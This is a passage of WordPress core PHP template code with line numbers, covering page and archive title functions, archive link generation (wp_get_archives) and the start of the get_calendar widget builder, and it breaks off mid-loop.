1060 if ( ! empty( $day ) ) {
1061 $title .= $t_sep . zeroise( $day, 2 );
1062 }
1063 }
1064
1065 // If it's a search
1066 if ( is_search() ) {
1067 /* translators: 1: separator, 2: search phrase */
1068 $title = sprintf( __( 'Search Results %1$s %2$s' ), $t_sep, strip_tags( $search ) );
1069 }
1070
1071 // If it's a 404 page
1072 if ( is_404() ) {
1073 $title = __( 'Page not found' );
1074 }
1075
1076 $prefix = '';
1077 if ( ! empty( $title ) ) {
1078 $prefix = " $sep ";
1079 }
1080
1081 /**
1082 * Filter the parts of the page title.
1083 *
1084 * @since 4.0.0
1085 *
1086 * @param array $title_array Parts of the page title.
1087 */
1088 $title_array = apply_filters( 'wp_title_parts', explode( $t_sep, $title ) );
1089
1090 // Determines position of the separator and direction of the breadcrumb
1091 if ( 'right' == $seplocation ) { // sep on right, so reverse the order
1092 $title_array = array_reverse( $title_array );
1093 $title = implode( " $sep ", $title_array ) . $prefix;
1094 } else {
1095 $title = $prefix . implode( " $sep ", $title_array );
1096 }
1097
1098 /**
1099 * Filter the text of the page title.
1100 *
1101 * @since 2.0.0
1102 *
1103 * @param string $title Page title.
1104 * @param string $sep Title separator.
1105 * @param string $seplocation Location of the separator (left or right).
1106 */
1107 $title = apply_filters( 'wp_title', $title, $sep, $seplocation );
1108
1109 // Send it out
1110 if ( $display ) {
1111 echo $title;
1112 } else {
1113 return $title;
1114 }
1115}
1116
1117/**
1118 * Display or retrieve page title for post.
1119 *
1120 * This is optimized for single.php template file for displaying the post title.
1121 *
1122 * It does not support placing the separator after the title, but by leaving the
1123 * prefix parameter empty, you can set the title separator manually. The prefix
1124 * does not automatically place a space between the prefix, so if there should
1125 * be a space, the parameter value will need to have it at the end.
1126 *
1127 * @since 0.71
1128 *
1129 * @param string $prefix Optional. What to display before the title.
1130 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1131 * @return string|void Title when retrieving.
1132 */
1133function single_post_title( $prefix = '', $display = true ) {
1134 $_post = get_queried_object();
1135
1136 if ( !isset($_post->post_title) )
1137 return;
1138
1139 /**
1140 * Filter the page title for a single post.
1141 *
1142 * @since 0.71
1143 *
1144 * @param string $_post_title The single post page title.
1145 * @param object $_post The current queried object as returned by get_queried_object().
1146 */
1147 $title = apply_filters( 'single_post_title', $_post->post_title, $_post );
1148 if ( $display )
1149 echo $prefix . $title;
1150 else
1151 return $prefix . $title;
1152}
1153
1154/**
1155 * Display or retrieve title for a post type archive.
1156 *
1157 * This is optimized for archive.php and archive-{$post_type}.php template files
1158 * for displaying the title of the post type.
1159 *
1160 * @since 3.1.0
1161 *
1162 * @param string $prefix Optional. What to display before the title.
1163 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1164 * @return string|void Title when retrieving, null when displaying or failure.
1165 */
1166function post_type_archive_title( $prefix = '', $display = true ) {
1167 if ( ! is_post_type_archive() )
1168 return;
1169
1170 $post_type = get_query_var( 'post_type' );
1171 if ( is_array( $post_type ) )
1172 $post_type = reset( $post_type );
1173
1174 $post_type_obj = get_post_type_object( $post_type );
1175
1176 /**
1177 * Filter the post type archive title.
1178 *
1179 * @since 3.1.0
1180 *
1181 * @param string $post_type_name Post type 'name' label.
1182 * @param string $post_type Post type.
1183 */
1184 $title = apply_filters( 'post_type_archive_title', $post_type_obj->labels->name, $post_type );
1185
1186 if ( $display )
1187 echo $prefix . $title;
1188 else
1189 return $prefix . $title;
1190}
1191
1192/**
1193 * Display or retrieve page title for category archive.
1194 *
1195 * Useful for category template files for displaying the category page title.
1196 * The prefix does not automatically place a space between the prefix, so if
1197 * there should be a space, the parameter value will need to have it at the end.
1198 *
1199 * @since 0.71
1200 *
1201 * @param string $prefix Optional. What to display before the title.
1202 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1203 * @return string|void Title when retrieving.
1204 */
1205function single_cat_title( $prefix = '', $display = true ) {
1206 return single_term_title( $prefix, $display );
1207}
1208
1209/**
1210 * Display or retrieve page title for tag post archive.
1211 *
1212 * Useful for tag template files for displaying the tag page title. The prefix
1213 * does not automatically place a space between the prefix, so if there should
1214 * be a space, the parameter value will need to have it at the end.
1215 *
1216 * @since 2.3.0
1217 *
1218 * @param string $prefix Optional. What to display before the title.
1219 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1220 * @return string|void Title when retrieving.
1221 */
1222function single_tag_title( $prefix = '', $display = true ) {
1223 return single_term_title( $prefix, $display );
1224}
1225
1226/**
1227 * Display or retrieve page title for taxonomy term archive.
1228 *
1229 * Useful for taxonomy term template files for displaying the taxonomy term page title.
1230 * The prefix does not automatically place a space between the prefix, so if there should
1231 * be a space, the parameter value will need to have it at the end.
1232 *
1233 * @since 3.1.0
1234 *
1235 * @param string $prefix Optional. What to display before the title.
1236 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1237 * @return string|void Title when retrieving.
1238 */
1239function single_term_title( $prefix = '', $display = true ) {
1240 $term = get_queried_object();
1241
1242 if ( !$term )
1243 return;
1244
1245 if ( is_category() ) {
1246 /**
1247 * Filter the category archive page title.
1248 *
1249 * @since 2.0.10
1250 *
1251 * @param string $term_name Category name for archive being displayed.
1252 */
1253 $term_name = apply_filters( 'single_cat_title', $term->name );
1254 } elseif ( is_tag() ) {
1255 /**
1256 * Filter the tag archive page title.
1257 *
1258 * @since 2.3.0
1259 *
1260 * @param string $term_name Tag name for archive being displayed.
1261 */
1262 $term_name = apply_filters( 'single_tag_title', $term->name );
1263 } elseif ( is_tax() ) {
1264 /**
1265 * Filter the custom taxonomy archive page title.
1266 *
1267 * @since 3.1.0
1268 *
1269 * @param string $term_name Term name for archive being displayed.
1270 */
1271 $term_name = apply_filters( 'single_term_title', $term->name );
1272 } else {
1273 return;
1274 }
1275
1276 if ( empty( $term_name ) )
1277 return;
1278
1279 if ( $display )
1280 echo $prefix . $term_name;
1281 else
1282 return $prefix . $term_name;
1283}
1284
1285/**
1286 * Display or retrieve page title for post archive based on date.
1287 *
1288 * Useful for when the template only needs to display the month and year,
1289 * if either are available. The prefix does not automatically place a space
1290 * between the prefix, so if there should be a space, the parameter value
1291 * will need to have it at the end.
1292 *
1293 * @since 0.71
1294 *
1295 * @global WP_Locale $wp_locale
1296 *
1297 * @param string $prefix Optional. What to display before the title.
1298 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1299 * @return string|void Title when retrieving.
1300 */
1301function single_month_title($prefix = '', $display = true ) {
1302 global $wp_locale;
1303
1304 $m = get_query_var('m');
1305 $year = get_query_var('year');
1306 $monthnum = get_query_var('monthnum');
1307
1308 if ( !empty($monthnum) && !empty($year) ) {
1309 $my_year = $year;
1310 $my_month = $wp_locale->get_month($monthnum);
1311 } elseif ( !empty($m) ) {
1312 $my_year = substr($m, 0, 4);
1313 $my_month = $wp_locale->get_month(substr($m, 4, 2));
1314 }
1315
1316 if ( empty($my_month) )
1317 return false;
1318
1319 $result = $prefix . $my_month . $prefix . $my_year;
1320
1321 if ( !$display )
1322 return $result;
1323 echo $result;
1324}
1325
1326/**
1327 * Display the archive title based on the queried object.
1328 *
1329 * @since 4.1.0
1330 *
1331 * @see get_the_archive_title()
1332 *
1333 * @param string $before Optional. Content to prepend to the title. Default empty.
1334 * @param string $after Optional. Content to append to the title. Default empty.
1335 */
1336function the_archive_title( $before = '', $after = '' ) {
1337 $title = get_the_archive_title();
1338
1339 if ( ! empty( $title ) ) {
1340 echo $before . $title . $after;
1341 }
1342}
1343
1344/**
1345 * Retrieve the archive title based on the queried object.
1346 *
1347 * @since 4.1.0
1348 *
1349 * @return string Archive title.
1350 */
1351function get_the_archive_title() {
1352 if ( is_category() ) {
1353 $title = sprintf( __( 'Category: %s' ), single_cat_title( '', false ) );
1354 } elseif ( is_tag() ) {
1355 $title = sprintf( __( 'Tag: %s' ), single_tag_title( '', false ) );
1356 } elseif ( is_author() ) {
1357 $title = sprintf( __( 'Author: %s' ), '<span class="vcard">' . get_the_author() . '</span>' );
1358 } elseif ( is_year() ) {
1359 $title = sprintf( __( 'Year: %s' ), get_the_date( _x( 'Y', 'yearly archives date format' ) ) );
1360 } elseif ( is_month() ) {
1361 $title = sprintf( __( 'Month: %s' ), get_the_date( _x( 'F Y', 'monthly archives date format' ) ) );
1362 } elseif ( is_day() ) {
1363 $title = sprintf( __( 'Day: %s' ), get_the_date( _x( 'F j, Y', 'daily archives date format' ) ) );
1364 } elseif ( is_tax( 'post_format' ) ) {
1365 if ( is_tax( 'post_format', 'post-format-aside' ) ) {
1366 $title = _x( 'Asides', 'post format archive title' );
1367 } elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {
1368 $title = _x( 'Galleries', 'post format archive title' );
1369 } elseif ( is_tax( 'post_format', 'post-format-image' ) ) {
1370 $title = _x( 'Images', 'post format archive title' );
1371 } elseif ( is_tax( 'post_format', 'post-format-video' ) ) {
1372 $title = _x( 'Videos', 'post format archive title' );
1373 } elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {
1374 $title = _x( 'Quotes', 'post format archive title' );
1375 } elseif ( is_tax( 'post_format', 'post-format-link' ) ) {
1376 $title = _x( 'Links', 'post format archive title' );
1377 } elseif ( is_tax( 'post_format', 'post-format-status' ) ) {
1378 $title = _x( 'Statuses', 'post format archive title' );
1379 } elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {
1380 $title = _x( 'Audio', 'post format archive title' );
1381 } elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {
1382 $title = _x( 'Chats', 'post format archive title' );
1383 }
1384 } elseif ( is_post_type_archive() ) {
1385 $title = sprintf( __( 'Archives: %s' ), post_type_archive_title( '', false ) );
1386 } elseif ( is_tax() ) {
1387 $tax = get_taxonomy( get_queried_object()->taxonomy );
1388 /* translators: 1: Taxonomy singular name, 2: Current taxonomy term */
1389 $title = sprintf( __( '%1$s: %2$s' ), $tax->labels->singular_name, single_term_title( '', false ) );
1390 } else {
1391 $title = __( 'Archives' );
1392 }
1393
1394 /**
1395 * Filter the archive title.
1396 *
1397 * @since 4.1.0
1398 *
1399 * @param string $title Archive title to be displayed.
1400 */
1401 return apply_filters( 'get_the_archive_title', $title );
1402}
1403
1404/**
1405 * Display category, tag, or term description.
1406 *
1407 * @since 4.1.0
1408 *
1409 * @see get_the_archive_description()
1410 *
1411 * @param string $before Optional. Content to prepend to the description. Default empty.
1412 * @param string $after Optional. Content to append to the description. Default empty.
1413 */
1414function the_archive_description( $before = '', $after = '' ) {
1415 $description = get_the_archive_description();
1416 if ( $description ) {
1417 echo $before . $description . $after;
1418 }
1419}
1420
1421/**
1422 * Retrieve category, tag, or term description.
1423 *
1424 * @since 4.1.0
1425 *
1426 * @return string Archive description.
1427 */
1428function get_the_archive_description() {
1429 /**
1430 * Filter the archive description.
1431 *
1432 * @since 4.1.0
1433 *
1434 * @see term_description()
1435 *
1436 * @param string $description Archive description to be displayed.
1437 */
1438 return apply_filters( 'get_the_archive_description', term_description() );
1439}
1440
1441/**
1442 * Retrieve archive link content based on predefined or custom code.
1443 *
1444 * The format can be one of four styles. The 'link' for head element, 'option'
1445 * for use in the select element, 'html' for use in list (either ol or ul HTML
1446 * elements). Custom content is also supported using the before and after
1447 * parameters.
1448 *
1449 * The 'link' format uses the `<link>` HTML element with the **archives**
1450 * relationship. The before and after parameters are not used. The text
1451 * parameter is used to describe the link.
1452 *
1453 * The 'option' format uses the option HTML element for use in select element.
1454 * The value is the url parameter and the before and after parameters are used
1455 * between the text description.
1456 *
1457 * The 'html' format, which is the default, uses the li HTML element for use in
1458 * the list HTML elements. The before parameter is before the link and the after
1459 * parameter is after the closing link.
1460 *
1461 * The custom format uses the before parameter before the link ('a' HTML
1462 * element) and the after parameter after the closing link tag. If the above
1463 * three values for the format are not used, then custom format is assumed.
1464 *
1465 * @since 1.0.0
1466 *
1467 * @todo Properly document optional arguments as such
1468 *
1469 * @param string $url URL to archive.
1470 * @param string $text Archive text description.
1471 * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom.
1472 * @param string $before Optional.
1473 * @param string $after Optional.
1474 * @return string HTML link content for archive.
1475 */
1476function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') {
1477 $text = wptexturize($text);
1478 $url = esc_url($url);
1479
1480 if ('link' == $format)
1481 $link_html = "\t<link rel='archives' title='" . esc_attr( $text ) . "' href='$url' />\n";
1482 elseif ('option' == $format)
1483 $link_html = "\t<option value='$url'>$before $text $after</option>\n";
1484 elseif ('html' == $format)
1485 $link_html = "\t<li>$before<a href='$url'>$text</a>$after</li>\n";
1486 else // custom
1487 $link_html = "\t$before<a href='$url'>$text</a>$after\n";
1488
1489 /**
1490 * Filter the archive link content.
1491 *
1492 * @since 2.6.0
1493 *
1494 * @param string $link_html The archive HTML link content.
1495 */
1496 return apply_filters( 'get_archives_link', $link_html );
1497}
1498
1499/**
1500 * Display archive links based on type and format.
1501 *
1502 * @since 1.2.0
1503 * @since 4.4.0 $post_type arg was added.
1504 *
1505 * @see get_archives_link()
1506 *
1507 * @global wpdb $wpdb
1508 * @global WP_Locale $wp_locale
1509 *
1510 * @param string|array $args {
1511 * Default archive links arguments. Optional.
1512 *
1513 * @type string $type Type of archive to retrieve. Accepts 'daily', 'weekly', 'monthly',
1514 * 'yearly', 'postbypost', or 'alpha'. Both 'postbypost' and 'alpha'
1515 * display the same archive link list as well as post titles instead
1516 * of displaying dates. The difference between the two is that 'alpha'
1517 * will order by post title and 'postbypost' will order by post date.
1518 * Default 'monthly'.
1519 * @type string|int $limit Number of links to limit the query to. Default empty (no limit).
1520 * @type string $format Format each link should take using the $before and $after args.
1521 * Accepts 'link' (`<link>` tag), 'option' (`<option>` tag), 'html'
1522 * (`<li>` tag), or a custom format, which generates a link anchor
1523 * with $before preceding and $after succeeding. Default 'html'.
1524 * @type string $before Markup to prepend to the beginning of each link. Default empty.
1525 * @type string $after Markup to append to the end of each link. Default empty.
1526 * @type bool $show_post_count Whether to display the post count alongside the link. Default false.
1527 * @type bool|int $echo Whether to echo or return the links list. Default 1|true to echo.
1528 * @type string $order Whether to use ascending or descending order. Accepts 'ASC', or 'DESC'.
1529 * Default 'DESC'.
1530 * @type string $post_type Post type. Default 'post'.
1531 * }
1532 * @return string|void String when retrieving.
1533 */
1534function wp_get_archives( $args = '' ) {
1535 global $wpdb, $wp_locale;
1536
1537 $defaults = array(
1538 'type' => 'monthly', 'limit' => '',
1539 'format' => 'html', 'before' => '',
1540 'after' => '', 'show_post_count' => false,
1541 'echo' => 1, 'order' => 'DESC',
1542 'post_type' => 'post'
1543 );
1544
1545 $r = wp_parse_args( $args, $defaults );
1546
1547 $post_type_object = get_post_type_object( $r['post_type'] );
1548 if ( ! is_post_type_viewable( $post_type_object ) ) {
1549 return;
1550 }
1551 $r['post_type'] = $post_type_object->name;
1552
1553 if ( '' == $r['type'] ) {
1554 $r['type'] = 'monthly';
1555 }
1556
1557 if ( ! empty( $r['limit'] ) ) {
1558 $r['limit'] = absint( $r['limit'] );
1559 $r['limit'] = ' LIMIT ' . $r['limit'];
1560 }
1561
1562 $order = strtoupper( $r['order'] );
1563 if ( $order !== 'ASC' ) {
1564 $order = 'DESC';
1565 }
1566
1567 // this is what will separate dates on weekly archive links
1568 $archive_week_separator = '–';
1569
1570 // over-ride general date format ? 0 = no: use the date format set in Options, 1 = yes: over-ride
1571 $archive_date_format_over_ride = 0;
1572
1573 // options for daily archive (only if you over-ride the general date format)
1574 $archive_day_date_format = 'Y/m/d';
1575
1576 // options for weekly archive (only if you over-ride the general date format)
1577 $archive_week_start_date_format = 'Y/m/d';
1578 $archive_week_end_date_format = 'Y/m/d';
1579
1580 if ( ! $archive_date_format_over_ride ) {
1581 $archive_day_date_format = get_option( 'date_format' );
1582 $archive_week_start_date_format = get_option( 'date_format' );
1583 $archive_week_end_date_format = get_option( 'date_format' );
1584 }
1585
1586 $sql_where = $wpdb->prepare( "WHERE post_type = %s AND post_status = 'publish'", $r['post_type'] );
1587
1588 /**
1589 * Filter the SQL WHERE clause for retrieving archives.
1590 *
1591 * @since 2.2.0
1592 *
1593 * @param string $sql_where Portion of SQL query containing the WHERE clause.
1594 * @param array $r An array of default arguments.
1595 */
1596 $where = apply_filters( 'getarchives_where', $sql_where, $r );
1597
1598 /**
1599 * Filter the SQL JOIN clause for retrieving archives.
1600 *
1601 * @since 2.2.0
1602 *
1603 * @param string $sql_join Portion of SQL query containing JOIN clause.
1604 * @param array $r An array of default arguments.
1605 */
1606 $join = apply_filters( 'getarchives_join', '', $r );
1607
1608 $output = '';
1609
1610 $last_changed = wp_cache_get( 'last_changed', 'posts' );
1611 if ( ! $last_changed ) {
1612 $last_changed = microtime();
1613 wp_cache_set( 'last_changed', $last_changed, 'posts' );
1614 }
1615
1616 $limit = $r['limit'];
1617
1618 if ( 'monthly' == $r['type'] ) {
1619 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";
1620 $key = md5( $query );
1621 $key = "wp_get_archives:$key:$last_changed";
1622 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1623 $results = $wpdb->get_results( $query );
1624 wp_cache_set( $key, $results, 'posts' );
1625 }
1626 if ( $results ) {
1627 $after = $r['after'];
1628 foreach ( (array) $results as $result ) {
1629 $url = get_month_link( $result->year, $result->month );
1630 if ( 'post' !== $r['post_type'] ) {
1631 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1632 }
1633 /* translators: 1: month name, 2: 4-digit year */
1634 $text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $result->month ), $result->year );
1635 if ( $r['show_post_count'] ) {
1636 $r['after'] = ' (' . $result->posts . ')' . $after;
1637 }
1638 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1639 }
1640 }
1641 } elseif ( 'yearly' == $r['type'] ) {
1642 $query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";
1643 $key = md5( $query );
1644 $key = "wp_get_archives:$key:$last_changed";
1645 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1646 $results = $wpdb->get_results( $query );
1647 wp_cache_set( $key, $results, 'posts' );
1648 }
1649 if ( $results ) {
1650 $after = $r['after'];
1651 foreach ( (array) $results as $result) {
1652 $url = get_year_link( $result->year );
1653 if ( 'post' !== $r['post_type'] ) {
1654 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1655 }
1656 $text = sprintf( '%d', $result->year );
1657 if ( $r['show_post_count'] ) {
1658 $r['after'] = ' (' . $result->posts . ')' . $after;
1659 }
1660 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1661 }
1662 }
1663 } elseif ( 'daily' == $r['type'] ) {
1664 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";
1665 $key = md5( $query );
1666 $key = "wp_get_archives:$key:$last_changed";
1667 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1668 $results = $wpdb->get_results( $query );
1669 wp_cache_set( $key, $results, 'posts' );
1670 }
1671 if ( $results ) {
1672 $after = $r['after'];
1673 foreach ( (array) $results as $result ) {
1674 $url = get_day_link( $result->year, $result->month, $result->dayofmonth );
1675 if ( 'post' !== $r['post_type'] ) {
1676 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1677 }
1678 $date = sprintf( '%1$d-%2$02d-%3$02d 00:00:00', $result->year, $result->month, $result->dayofmonth );
1679 $text = mysql2date( $archive_day_date_format, $date );
1680 if ( $r['show_post_count'] ) {
1681 $r['after'] = ' (' . $result->posts . ')' . $after;
1682 }
1683 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1684 }
1685 }
1686 } elseif ( 'weekly' == $r['type'] ) {
1687 $week = _wp_mysql_week( '`post_date`' );
1688 $query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";
1689 $key = md5( $query );
1690 $key = "wp_get_archives:$key:$last_changed";
1691 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1692 $results = $wpdb->get_results( $query );
1693 wp_cache_set( $key, $results, 'posts' );
1694 }
1695 $arc_w_last = '';
1696 if ( $results ) {
1697 $after = $r['after'];
1698 foreach ( (array) $results as $result ) {
1699 if ( $result->week != $arc_w_last ) {
1700 $arc_year = $result->yr;
1701 $arc_w_last = $result->week;
1702 $arc_week = get_weekstartend( $result->yyyymmdd, get_option( 'start_of_week' ) );
1703 $arc_week_start = date_i18n( $archive_week_start_date_format, $arc_week['start'] );
1704 $arc_week_end = date_i18n( $archive_week_end_date_format, $arc_week['end'] );
1705 $url = sprintf( '%1$s/%2$s%3$sm%4$s%5$s%6$sw%7$s%8$d', home_url(), '', '?', '=', $arc_year, '&', '=', $result->week );
1706 if ( 'post' !== $r['post_type'] ) {
1707 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1708 }
1709 $text = $arc_week_start . $archive_week_separator . $arc_week_end;
1710 if ( $r['show_post_count'] ) {
1711 $r['after'] = ' (' . $result->posts . ')' . $after;
1712 }
1713 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1714 }
1715 }
1716 }
1717 } elseif ( ( 'postbypost' == $r['type'] ) || ('alpha' == $r['type'] ) ) {
1718 $orderby = ( 'alpha' == $r['type'] ) ? 'post_title ASC ' : 'post_date DESC, ID DESC ';
1719 $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
1720 $key = md5( $query );
1721 $key = "wp_get_archives:$key:$last_changed";
1722 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1723 $results = $wpdb->get_results( $query );
1724 wp_cache_set( $key, $results, 'posts' );
1725 }
1726 if ( $results ) {
1727 foreach ( (array) $results as $result ) {
1728 if ( $result->post_date != '0000-00-00 00:00:00' ) {
1729 $url = get_permalink( $result );
1730 if ( $result->post_title ) {
1731 /** This filter is documented in wp-includes/post-template.php */
1732 $text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) );
1733 } else {
1734 $text = $result->ID;
1735 }
1736 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1737 }
1738 }
1739 }
1740 }
1741 if ( $r['echo'] ) {
1742 echo $output;
1743 } else {
1744 return $output;
1745 }
1746}
1747
1748/**
1749 * Get number of days since the start of the week.
1750 *
1751 * @since 1.5.0
1752 *
1753 * @param int $num Number of day.
1754 * @return int Days since the start of the week.
1755 */
1756function calendar_week_mod($num) {
1757 $base = 7;
1758 return ($num - $base*floor($num/$base));
1759}
1760
1761/**
1762 * Display calendar with days that have posts as links.
1763 *
1764 * The calendar is cached, which will be retrieved, if it exists. If there are
1765 * no posts for the month, then it will not be displayed.
1766 *
1767 * @since 1.0.0
1768 *
1769 * @global wpdb $wpdb
1770 * @global int $m
1771 * @global int $monthnum
1772 * @global int $year
1773 * @global WP_Locale $wp_locale
1774 * @global array $posts
1775 *
1776 * @param bool $initial Optional, default is true. Use initial calendar names.
1777 * @param bool $echo Optional, default is true. Set to false for return.
1778 * @return string|void String when retrieving.
1779 */
1780function get_calendar( $initial = true, $echo = true ) {
1781 global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;
1782
1783 $key = md5( $m . $monthnum . $year );
1784 $cache = wp_cache_get( 'get_calendar', 'calendar' );
1785
1786 if ( $cache && is_array( $cache ) && isset( $cache[ $key ] ) ) {
1787 /** This filter is documented in wp-includes/general-template.php */
1788 $output = apply_filters( 'get_calendar', $cache[ $key ] );
1789
1790 if ( $echo ) {
1791 echo $output;
1792 return;
1793 }
1794
1795 return $output;
1796 }
1797
1798 if ( ! is_array( $cache ) ) {
1799 $cache = array();
1800 }
1801
1802 // Quick check. If we have no posts at all, abort!
1803 if ( ! $posts ) {
1804 $gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1");
1805 if ( ! $gotsome ) {
1806 $cache[ $key ] = '';
1807 wp_cache_set( 'get_calendar', $cache, 'calendar' );
1808 return;
1809 }
1810 }
1811
1812 if ( isset( $_GET['w'] ) ) {
1813 $w = (int) $_GET['w'];
1814 }
1815 // week_begins = 0 stands for Sunday
1816 $week_begins = (int) get_option( 'start_of_week' );
1817 $ts = current_time( 'timestamp' );
1818
1819 // Let's figure out when we are
1820 if ( ! empty( $monthnum ) && ! empty( $year ) ) {
1821 $thismonth = zeroise( intval( $monthnum ), 2 );
1822 $thisyear = (int) $year;
1823 } elseif ( ! empty( $w ) ) {
1824 // We need to get the month from MySQL
1825 $thisyear = (int) substr( $m, 0, 4 );
1826 //it seems MySQL's weeks disagree with PHP's
1827 $d = ( ( $w - 1 ) * 7 ) + 6;
1828 $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')");
1829 } elseif ( ! empty( $m ) ) {
1830 $thisyear = (int) substr( $m, 0, 4 );
1831 if ( strlen( $m ) < 6 ) {
1832 $thismonth = '01';
1833 } else {
1834 $thismonth = zeroise( (int) substr( $m, 4, 2 ), 2 );
1835 }
1836 } else {
1837 $thisyear = gmdate( 'Y', $ts );
1838 $thismonth = gmdate( 'm', $ts );
1839 }
1840
1841 $unixmonth = mktime( 0, 0 , 0, $thismonth, 1, $thisyear );
1842 $last_day = date( 't', $unixmonth );
1843
1844 // Get the next and previous month and year with at least one post
1845 $previous = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1846 FROM $wpdb->posts
1847 WHERE post_date < '$thisyear-$thismonth-01'
1848 AND post_type = 'post' AND post_status = 'publish'
1849 ORDER BY post_date DESC
1850 LIMIT 1");
1851 $next = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1852 FROM $wpdb->posts
1853 WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59'
1854 AND post_type = 'post' AND post_status = 'publish'
1855 ORDER BY post_date ASC
1856 LIMIT 1");
1857
1858 /* translators: Calendar caption: 1: month name, 2: 4-digit year */
1859 $calendar_caption = _x('%1$s %2$s', 'calendar caption');
1860 $calendar_output = '<table id="wp-calendar">
1861 <caption>' . sprintf(
1862 $calendar_caption,
1863 $wp_locale->get_month( $thismonth ),
1864 date( 'Y', $unixmonth )
1865 ) . '</caption>
1866 <thead>
1867 <tr>';
1868
1869 $myweek = array();
1870
1871 for ( $wdcount = 0; $wdcount <= 6; $wdcount++ ) {
1872 $myweek[] = $wp_locale->get_weekday( ( $wdcount + $week_begins ) % 7 );
1873 }
1874
1875 foreach ( $myweek as $wd ) {
1876 $day_name = $initial ? $wp_locale->get_weekday_initial( $wd ) : $wp_locale->get_weekday_abbrev( $wd );
1877 $wd = esc_attr( $wd );
1878 $calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>";
1879 }
1880
1881 $calendar_output .= '
1882 </tr>
1883 </thead>
1884
1885 <tfoot>
1886 <tr>';
1887
1888 if ( $previous ) {
1889 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_month_link( $previous->year, $previous->month ) . '">« ' .
1890 $wp_locale->get_month_abbrev( $wp_locale->get_month( $previous->month ) ) .
1891 '</a></td>';
1892 } else {
1893 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad"> </td>';
1894 }
1895
1896 $calendar_output .= "\n\t\t".'<td class="pad"> </td>';
1897
1898 if ( $next ) {
1899 $calendar_output .= "\n\t\t".'<td colspan="3" id="next"><a href="' . get_month_link( $next->year, $next->month ) . '">' .
1900 $wp_locale->get_month_abbrev( $wp_locale->get_month( $next->month ) ) .
1901 ' »</a></td>';
1902 } else {
1903 $calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad"> </td>';
1904 }
1905
1906 $calendar_output .= '
1907 </tr>
1908 </tfoot>
1909
1910 <tbody>
1911 <tr>';
1912
1913 $daywithpost = array();
1914
1915 // Get days with posts
1916 $dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
1917 FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00'
1918 AND post_type = 'post' AND post_status = 'publish'
1919 AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N);
1920 if ( $dayswithposts ) {
1921 foreach ( (array) $dayswithposts as $daywith ) {
1922 $daywithpost[] = $daywith[0];
1923 }
1924 }
1925
1926 // See how much we should pad in the beginning
1927 $pad = calendar_week_mod( date( 'w', $unixmonth ) - $week_begins );
1928 if ( 0 != $pad ) {
1929 $calendar_output .= "\n\t\t".'<td colspan="'. esc_attr( $pad ) .'" class="pad"> </td>';
1930 }
1931
1932 $newrow = false;
1933 $daysinmonth = (int) date( 't', $unixmonth );
1934
1935 for ( $day = 1; $day <= $daysinmonth; ++$day ) {
1936 if ( isset($newrow) && $newrow ) {
1937 $calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";
1938 }
1939 $newrow = false;
1940
1941 if ( $day == gmdate( 'j', $ts ) &&
1942 $thismonth == gmdate( 'm', $ts ) &&
1943 $thisyear == gmdate( 'Y', $ts ) ) {
1944 $calendar_output .= '<td id="today">';
1945 } else {
1946 $calendar_output .= '<td>';
1947 }
1948
